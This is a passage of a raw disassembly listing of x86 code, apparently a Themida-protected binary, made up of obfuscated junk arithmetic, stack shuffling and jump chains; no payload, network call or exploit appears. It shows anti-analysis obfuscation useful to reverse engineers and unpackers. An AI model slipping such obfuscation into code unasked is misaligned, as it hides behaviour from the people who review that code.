; ---------------------------------------------------------------------------
loc_598BC2: ; CODE XREF: Themida_:005A4C16j
push edx
push esi
jmp loc_59D22B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598BC9: ; CODE XREF: sub_59390B+719Aj
mov [esp+0], ebx
push esp
jmp loc_59E0D1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598BD2: ; CODE XREF: Themida_:0059C514j
mov esi, 1685172Ch
dec esi
jmp loc_5A1B0A
; ---------------------------------------------------------------------------
loc_598BDD: ; CODE XREF: Themida_:0059F171j
pop esp
or eax, eax
jz loc_599EEC
push 3C31h
mov [esp], eax
push 0FEh
push dword ptr [esp]
jmp loc_5A42EB
; ---------------------------------------------------------------------------
loc_598BFB: ; CODE XREF: Themida_:0059D26Fj
add eax, 60B8E6E4h
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
jmp loc_598359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598C0C: ; CODE XREF: sub_59390B-8E3j
push cx
mov ch, 0C8h
push edx
jmp loc_59EAE9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598C16: ; CODE XREF: Themida_:0059C361j
push 58E7h
mov [esp], edi
mov edi, 4
jmp loc_5A164F
; ---------------------------------------------------------------------------
loc_598C28: ; CODE XREF: Themida_:005A3351j
add esp, 4
xor esi, 63064A13h
jmp loc_59A3F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D82E
loc_598C39: ; CODE XREF: sub_59D82E-335Dj
push cx
pushf
jmp loc_59F830
; END OF FUNCTION CHUNK FOR sub_59D82E
; ---------------------------------------------------------------------------
loc_598C41: ; CODE XREF: Themida_:005927DDj
sub eax, 6F3171E5h
inc eax
sub eax, 47C263E1h
add eax, 6AF63762h
jmp loc_5A18E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_598C56: ; CODE XREF: sub_5A0733+42Cj
mov ecx, eax
mov eax, [esp+8+var_8]
add esp, 4
sub edi, 64A02DFDh
add edi, ecx
add edi, 64A02DFDh
pop ecx
add edi, 4
xor edi, [esp+0]
jmp loc_59B2DE
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_598C7E: ; CODE XREF: sub_59338E+DF0Cj
not edx
sub edx, 21B7A8C5h
push 2EFDh
mov [esp+0Ch+var_C], eax
jmp sub_592E25
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598C93: ; CODE XREF: sub_59390B+BF3j
sub edx, eax
pop eax
jmp loc_596E78
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598C9B: ; CODE XREF: Themida_:0059B7D8j
xor ch, 53h
xor ch, 15h
add ah, ch
pop ecx
xor dh, ah
jmp loc_5A1194
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A09BC
loc_598CAB: ; CODE XREF: sub_5A09BC+1B35j
sub ebp, eax
pop eax
sub eax, ebp
pop ebp
add eax, esi
add eax, 36DD7809h
push [esp-8+arg_4]
pop esi
jmp loc_59AB38
; END OF FUNCTION CHUNK FOR sub_5A09BC
; ---------------------------------------------------------------------------
loc_598CC1: ; CODE XREF: Themida_:0059B205j
push ecx
push ebx
jmp loc_59B667
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598CC8: ; CODE XREF: sub_59390B-A3Dj
add eax, ebp
push [esp-18h+arg_10]
jmp loc_5A1B23
; ---------------------------------------------------------------------------
loc_598CD2: ; CODE XREF: sub_59390B+118DAj
mov bl, 2Ch
not bl
or bl, 6Bh
sub bl, 0B8h
add al, 43h
sub al, 0D0h
add al, bl
jmp loc_59BA96
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_598CE7: ; CODE XREF: sub_59E918-DCE5j
mov bl, 1Dh
jmp loc_591085
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_598CEE: ; CODE XREF: sub_595BAD+D1B3j
and ecx, edi
push [esp+10h+var_10]
jmp loc_595488
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_598CF8: ; CODE XREF: sub_599AE1-7B65j
add esi, 5A8F11CFh
pop edi
add esi, eax
sub esp, 4
jmp loc_5A154A
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598D09: ; CODE XREF: sub_59390B+319j
mov esp, [esp-10h+arg_8]
shr ecx, 0
or eax, eax
jz loc_59C4FE
push 510Fh
jmp loc_5968E1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598D21: ; CODE XREF: Themida_:0059CC4Bj
mov edx, 2243071Eh
sub eax, edx
pop edx
push dword ptr [esp]
pop ebp
push edi
mov edi, esp
jmp loc_591A86
; ---------------------------------------------------------------------------
loc_598D35: ; CODE XREF: Themida_:00594F4Dj
push eax
jmp loc_59DD52
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598D3B: ; CODE XREF: sub_59390B-29F4j
add esp, 4
xor ecx, eax
jmp loc_5914F4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
push 0C7Ah
push 7AC3h
mov [esp], ecx
jmp loc_593755
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598D5A: ; CODE XREF: sub_59390B+43A8j
mov [esp-14h+arg_C], esp
add [esp-14h+arg_C], 4
push [esp-14h+arg_C]
pop ebp
jmp sub_599F46
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_598D6D: ; CODE XREF: sub_59FCCB-2B40j
not ah
jmp loc_594700
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
lodsd
add eax, 77B840D3h
sub eax, 289952ADh
add eax, ebx
add eax, 289952ADh
push edi
push eax
push 3DC6542Ch
pop eax
mov edi, 0AB4F9064h
sub edi, eax
mov eax, [esp]
push ebp
mov ebp, esp
push edi
jmp loc_5990F4
; ---------------------------------------------------------------------------
loc_598DA1: ; CODE XREF: Themida_:005969D7j
add ebx, 2A1B7557h
jmp loc_5A559E
; ---------------------------------------------------------------------------
loc_598DAC: ; CODE XREF: Themida_:0059A900j
add ax, 166Ah
jmp loc_593F5F
; ---------------------------------------------------------------------------
loc_598DB5: ; CODE XREF: Themida_:0059F1F8j
mov [esp], esi
push edi
mov edi, 64456F88h
jmp loc_595F5A
; =============== S U B R O U T I N E =======================================
sub_598DC3 proc near ; CODE XREF: sub_59390B+6A0Fj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005966E6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059B349 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059F27F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A17C5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A1B32 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5866 SIZE 00000010 BYTES
push ebp
push 4EF1h
push esp
pop [esp+0Ch+var_C]
add [esp+8+var_8], 4
jmp loc_5A17C5
sub_598DC3 endp
; ---------------------------------------------------------------------------
loc_598DD9: ; CODE XREF: Themida_:005A211Fj
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_5A46D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59822A
loc_598DE9: ; CODE XREF: sub_59822A-D0Ej
add ebp, ecx
pop ecx
xchg ebp, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_5A2027
; END OF FUNCTION CHUNK FOR sub_59822A
; ---------------------------------------------------------------------------
loc_598DF7: ; CODE XREF: Themida_:005A130Fj
push 71267E24h
pop ebx
sub ebx, 0FC752B80h
mov edi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5A4989
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D02F
loc_598E14: ; CODE XREF: sub_59D02F+467Dj
push ecx
push [esp+0Ch+var_C]
pop eax
add esp, 4
push eax
push [esp+0Ch+var_C]
pop ebx
jmp loc_5A0641
; END OF FUNCTION CHUNK FOR sub_59D02F
; ---------------------------------------------------------------------------
loc_598E29: ; CODE XREF: Themida_:005A3A66j
mov eax, 1AA2A269h
add edx, eax
mov eax, [esp]
add esp, 4
sub eax, 2F423C3Ah
add eax, 57D5E39h
sub eax, edx
jmp loc_5A51C3
; ---------------------------------------------------------------------------
loc_598E4A: ; CODE XREF: Themida_:0059E82Ej
mov edx, [esp]
add esp, 4
push edx
push esp
pop edx
add edx, 4
jmp loc_59DB72
; ---------------------------------------------------------------------------
loc_598E5E: ; CODE XREF: Themida_:0059B3E7j
not dword ptr [esp]
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_59E3A0
; ---------------------------------------------------------------------------
loc_598E78: ; CODE XREF: Themida_:005A2D3Cj
sub esp, 4
push esp
pop dword ptr [esp]
push ebx
mov ebx, 4
add [esp+4], ebx
mov ebx, [esp]
push edx
jmp loc_5912F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598E95: ; CODE XREF: sub_59390B+5E1j
xor edx, 7046AFC0h
jmp loc_5911C4
; ---------------------------------------------------------------------------
loc_598EA0: ; CODE XREF: sub_59390B+2A25j
pop eax
xor di, bx
mov bx, [esp+0]
add esp, 2
jmp loc_5A55D1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_598EB3: ; CODE XREF: sub_59F53F+Ej
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_5A45DE
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598EC7: ; CODE XREF: sub_59390B+B6B3j
add edx, edi
jmp loc_59A166
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598ECE: ; CODE XREF: Themida_:005A17ECj
add esi, ecx
sub esi, 5C1B2098h
pop ecx
sub esi, 4
jmp loc_59B9D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_598EE2: ; CODE XREF: sub_59A75E-637Bj
sub bx, di
add bx, 6AD0h
mov di, word ptr [esp+6+var_8+2]
add esp, 2
add bx, si
push si
push ebp
mov bp, 787Bh
jmp loc_59AE4E
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_598F00: ; CODE XREF: Themida_:0059BA7Aj
mov ebx, 3D255D91h
sub [esp+0Ch], ebx
pop ebx
pop ebp
pop edi
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 4
jmp loc_5995D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_598F28: ; CODE XREF: sub_59CAFB+8536j
pop edx
push eax
push edi
jmp loc_5919BC
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_598F30: ; CODE XREF: Themida_:0059EBDDj
push ecx
mov ecx, 7E0D5A44h
mov ebp, 81F2A5C0h
add ebp, ecx
pop ecx
push ecx
jmp loc_5A070C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_598F44: ; CODE XREF: sub_59F8C2+58FCj
not ebx
dec ebx
shl ebx, 5
push esi
jmp loc_59BE04
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5933BB
loc_598F50: ; CODE XREF: sub_5933BB-C8Aj
sub ebx, 0FFFFFFFFh
push esi
mov esi, 88843A4h
sub esi, 0A8D76F3Ah
sub ebx, 17B7379Fh
push ecx
mov ecx, 766055E7h
add ebx, ecx
pop ecx
sub ebx, 0AFD6A45h
add ebx, esi
add ebx, 0AFD6A45h
sub ebx, 766055E7h
add ebx, 17B7379Fh
pop esi
add ecx, ebx
pop ebx
add ecx, edi
push eax
push edx
jmp loc_594816
; END OF FUNCTION CHUNK FOR sub_5933BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_598F95: ; CODE XREF: sub_59FCCB-90A5j
mov edx, 38h
mov ebx, edx
pop edx
jmp loc_5964CB
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_598FA2: ; CODE XREF: sub_5936EC+11EE0j
shr eax, 0Ah
xor eax, ecx
push eax
xchg eax, [esp+4+var_4]
not eax
xchg eax, [esp+4+var_4]
push [esp+4+var_4]
push [esp+8+var_8]
push [esp+0Ch+var_C]
pop eax
add esp, 4
jmp loc_591A00
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_598FC5: ; CODE XREF: Themida_:0059ADC8j
xor [esp], ebx
jmp loc_5A5A58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_598FCD: ; CODE XREF: sub_5A4CDD-F259j
mov [esp+10h+var_10], ebx
mov ebx, 321693Eh
sub esp, 4
mov [esp+14h+var_14], edx
jmp loc_59E3E7
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59AB43
loc_598FE0: ; CODE XREF: sub_59AB43-8645j
xchg ecx, [esp-8+arg_4]
pop esp
push eax
push ebp
mov ebp, 9364A46h
mov eax, 5927EE9Eh
add eax, ebp
jmp loc_59CB51
; END OF FUNCTION CHUNK FOR sub_59AB43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_598FF7: ; CODE XREF: sub_59CAFB-7465j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+10h+var_10]
pop esp
xchg ebp, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push 45A4h
jmp loc_59F366
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_599019: ; CODE XREF: sub_59A431+5825j
push 5F1Bh
mov [esp+0Ch+var_C], ebp
jmp loc_59ACF3
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599026: ; CODE XREF: sub_59390B-5A8j
xchg ebx, [esp+0]
jmp loc_59EA73
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3536
loc_59902E: ; CODE XREF: sub_5A3536+5j
mov edx, esp
add edx, 4
push ebx
jmp loc_5949C9
; END OF FUNCTION CHUNK FOR sub_5A3536
; ---------------------------------------------------------------------------
loc_59903C: ; CODE XREF: Themida_:005996CEj
add esp, 4
add esi, 5D2F086Dh
jmp loc_5A5BBD
; ---------------------------------------------------------------------------
loc_59904A: ; CODE XREF: Themida_:00597C53j
push 7170h
mov [esp], ebx
mov ebx, 4
sub edx, ebx
pop ebx
xchg edx, [esp]
mov esp, [esp]
mov [esp], esi
push 3F1359A1h
mov esi, [esp]
add esp, 4
sub esi, 22FD7E48h
push ecx
push edi
mov edi, 3BAF527Dh
jmp loc_59F84C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_599080: ; CODE XREF: sub_59390B+6E8Ej
shl ebx, 3
sub ebx, 0C7D3EE58h
add ecx, ebx
pop ebx
sub ecx, 0EE473542h
add ebx, ecx
mov ecx, [esp+0]
add esp, 4
add ebx, 4
xor ebx, [esp-8+arg_0]
xor [esp-8+arg_0], ebx
jmp loc_5941BF
; ---------------------------------------------------------------------------
loc_5990A8: ; CODE XREF: sub_59390B+9D5Ej
add ebp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
push ebp
push [esp-4+arg_0]
mov ebp, [esp+0]
add esp, 4
pop dword ptr [esp+0]
mov esp, [esp-8+arg_0]
sub edi, 5BA719F9h
add edi, ecx
push 4759h
mov [esp+0], ebx
push esi
mov esi, 7FCE2824h
mov ebx, esi
push dword ptr [esp+0]
mov esi, [esp+4+var_4]
add esp, 4
push ebp
mov ebp, esp
jmp loc_597ADD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5990F4: ; CODE XREF: Themida_:00598D9Cj
mov edi, 105E6E1Eh
jmp loc_595EB1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3EFB
loc_5990FE: ; CODE XREF: sub_5A3EFB-122D6j
and ebx, 785F31B7h
jmp loc_5A24FC
; END OF FUNCTION CHUNK FOR sub_5A3EFB
; ---------------------------------------------------------------------------
loc_599109: ; CODE XREF: Themida_:0059E110j
pop esi
pop eax
dec eax
jmp loc_594067
; ---------------------------------------------------------------------------
loc_599111: ; CODE XREF: Themida_:00596BC3j
dec ebp
push ecx
mov ecx, 1C32B7Dh
xor ecx, 79A85493h
or ecx, 24706DF5h
sub ecx, 69FD30C2h
neg ecx
sub ecx, 49261BFFh
jmp loc_59E698
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_599137: ; CODE XREF: sub_591FE1+3D06j
push eax
push edi
sub esp, 4
mov [esp+10h+var_10], ebp
push edx
jmp loc_59798E
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_599148: ; CODE XREF: sub_5A2FE9-1173Ej
pop [esp+10h+var_10]
jmp loc_595B7B
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
mov ax, [esp]
push 3C66h
mov [esp], ebx
push esp
pop ebx
add ebx, 4
push 5F12h
mov [esp], esi
jmp loc_593D32
; ---------------------------------------------------------------------------
loc_599171: ; CODE XREF: Themida_:0059D208j
sub edi, 85DC981Ch
jmp loc_597F4D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_59917C: ; CODE XREF: sub_5964AF+6C44j
mov ecx, 5FB11D17h
mov edx, ecx
mov ecx, [esp-8+arg_4]
jmp loc_5929BF
; END OF FUNCTION CHUNK FOR sub_5964AF
; =============== S U B R O U T I N E =======================================
sub_59918B proc near ; CODE XREF: sub_594A8D+F2AEj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
; FUNCTION CHUNK AT 00594FCF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059523A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005969C8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005969F7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059756E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00599368 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059986B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A825 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059BB37 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059BFB1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C956 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FFE6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A168C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A187E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A25BF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2B35 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A2CB3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2DDB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A3326 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A3E76 SIZE 00000009 BYTES
sub esp, 4
mov [esp+8+var_8], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebp
mov ebp, 741D4006h
sub ebp, 35F86DE5h
sub ebp, 247D8970h
mov ebx, ebp
pop ebp
push ebp
jmp loc_59756E
sub_59918B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5991C0: ; CODE XREF: Themida_:005A3303j
pop dword ptr [esp]
pop esp
mov [esp], esp
push ecx
push ebx
mov ebx, 4
mov ecx, ebx
mov ebx, [esp]
add esp, 4
add [esp+4], ecx
jmp loc_597793
; ---------------------------------------------------------------------------
loc_5991DF: ; CODE XREF: Themida_:005972D8j
pop esi
mov edx, [esp]
jmp loc_59A1AC
; ---------------------------------------------------------------------------
loc_5991E8: ; CODE XREF: Themida_:005A1306j
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push dword ptr [eax]
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5991F8: ; CODE XREF: Themida_:0059F3DFj
sub dl, 0FFh
push ax
push edx
mov dh, 89h
push ebx
push 5969h
mov [esp], ecx
jmp loc_5A5B85
; ---------------------------------------------------------------------------
loc_59920E: ; CODE XREF: Themida_:00599F24j
mov esp, [esp]
test cx, ax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_59921A: ; CODE XREF: sub_5A4CDD-1E79j
sub ebx, eax
pop eax
add ebx, eax
add ebx, 1F0D4C65h
jmp loc_595E89
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59922A: ; CODE XREF: sub_59390B+10063j
mov dh, 0A2h
sub al, dh
jmp loc_59E257
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_599233: ; CODE XREF: Themida_:00591893j
add ebp, 4B9F56B8h
pop edx
sub edx, 34013C1Eh
jmp loc_59A8E5
; ---------------------------------------------------------------------------
loc_599245: ; CODE XREF: Themida_:00597238j
mov dl, 0A2h
xor dl, 47h
sub bl, dl
pop edx
sub al, 3Eh
add al, bl
push 5F20h
mov [esp], ecx
mov ch, 0B6h
neg ch
push edx
mov dh, 0C5h
shr dh, 3
add dh, 0B3h
jmp loc_59E90D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59926B: ; CODE XREF: sub_59390B+C142j
add ecx, 4
sub ecx, 4
jmp loc_5A3973
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_599279: ; CODE XREF: sub_59A4D6-2CA0j
pop ebp
push edx
mov edx, esp
push eax
mov eax, 4
add edx, eax
pop eax
jmp loc_5A038F
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59928B: ; CODE XREF: sub_59390B+B3Bj
xchg ebx, [esp+8+var_8]
pop esp
jmp loc_59210A
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_599294 proc near ; CODE XREF: sub_59CAFB-1787j
push ebx
push edx
mov edx, 9B549Ah
inc edx
and edx, 3EC77BD1h
xor edx, 2B477688h
mov ebx, edx
pop edx
jmp loc_593D6D
sub_599294 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5992B0: ; CODE XREF: sub_59390B+93F4j
push eax
jmp loc_595443
; ---------------------------------------------------------------------------
loc_5992B6: ; CODE XREF: sub_59390B-448j
add ebp, 0FF0ACD3h
jmp loc_59E720
; ---------------------------------------------------------------------------
loc_5992C1: ; CODE XREF: sub_59390B+4009j
pop edx
jmp loc_599524
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ecx
sub esp, 4
jmp loc_592A04
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_5992DB: ; CODE XREF: sub_5A4CDD-8341j
pop esi
jmp loc_5A4603
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
loc_5992E1: ; CODE XREF: Themida_:005A581Fj
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
jmp loc_5A39F7
; ---------------------------------------------------------------------------
loc_5992FB: ; CODE XREF: Themida_:00592A17j
pop ebp
push edi
push esi
mov esi, 47B720FFh
jmp loc_5A5836
; ---------------------------------------------------------------------------
loc_599308: ; CODE XREF: Themida_:005A4FCCj
push ebp
jmp loc_59AD79
; ---------------------------------------------------------------------------
loc_59930E: ; CODE XREF: Themida_:00595368j
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_590A9B
; =============== S U B R O U T I N E =======================================
sub_59931D proc near ; CODE XREF: sub_5936EC+A9E0j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0059943F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059A5C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FF0D SIZE 0000000E BYTES
push ebp
mov ebp, 4
sub esi, 507C7120h
jmp loc_59943F
sub_59931D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59932E: ; CODE XREF: Themida_:005A5B4Aj
push 35F6h
mov [esp], eax
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59933B: ; CODE XREF: Themida_:0059259Fj
add esp, 4
add edx, 34AB499Eh
push ebx
push eax
mov eax, 1FF91478h
not eax
add eax, 3F22CF9h
xor eax, 0C3A72ED5h
mov ebx, eax
pop eax
sub ebx, 16E3CA74h
add edx, ebx
pop ebx
jmp loc_599E9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_599368: ; CODE XREF: sub_59918B-1C0Cj
or ebp, 3B92466h
neg ebp
not ebp
xor ebp, 5E1EBD6Bh
xor ebx, ebp
pop ebp
push esi
push ebx
add [esp+8+var_8], 2B0929A9h
jmp loc_5A187E
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
loc_599389: ; CODE XREF: Themida_:0059AB12j
add edi, 10405A31h
sub edi, edx
push ecx
mov ecx, 10405A31h
sub edi, ecx
pop ecx
push dword ptr [esp]
pop edx
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_59288D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5993B6: ; CODE XREF: sub_59390B+93j
add ebp, 19E69D2h
jmp loc_59DFDA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5993C1: ; CODE XREF: Themida_:0059A32Fj
pop ebx
push 24E2h
mov [esp], ebx
push edx
push eax
mov al, 51h
mov dl, 0Dh
add dl, al
pop eax
shl dl, 2
xor dl, 0C5h
add dl, 0DFh
neg dl
add dl, 0C4h
add dl, 0FFh
shr dl, 6
push ebx
jmp loc_59B8B6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5993ED: ; CODE XREF: sub_59390B+45Dj
mov esp, [esp-26h+arg_1C+2]
push eax
mov eax, esp
jmp loc_59A79E
; ---------------------------------------------------------------------------
loc_5993F8: ; CODE XREF: sub_59390B+3575j
sub edx, 4801289Fh
push edi
mov edi, 75D469AEh
xor edi, 463860D8h
add edi, 237743ECh
xor edi, 5D584FDBh
add edi, 301633D6h
xor edi, 0AC53CF4h
add edx, edi
pop edi
mov ebx, [esp+0Ch+var_C]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+10h+var_10]
jmp loc_59D412
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59931D
loc_59943F: ; CODE XREF: sub_59931D+Cj
add esi, ebp
add esi, 507C7120h
pop ebp
xchg esi, [esp+0]
pop esp
or edx, eax
jmp loc_59FF0D
; END OF FUNCTION CHUNK FOR sub_59931D
; ---------------------------------------------------------------------------
loc_599453: ; CODE XREF: Themida_:005A4EB6j
add eax, 1
jmp loc_597480
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_59945D: ; CODE XREF: sub_5A2FE9-12B2j
add ebp, edi
jmp loc_59EF98
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_599464: ; CODE XREF: sub_5936EC+DB46j
mov edx, 17DD352Fh
and edx, 24785D62h
xor edx, 10494E61h
sub edx, 5FA06520h
shr edx, 4
push ecx
push eax
jmp loc_59A875
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_599485: ; CODE XREF: Themida_:005955DBj
add esp, 4
push esi
push 197h
mov [esp], eax
push edi
mov edi, 188335CDh
mov eax, 25F0FC12h
add eax, edi
jmp loc_596F30
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A28F6
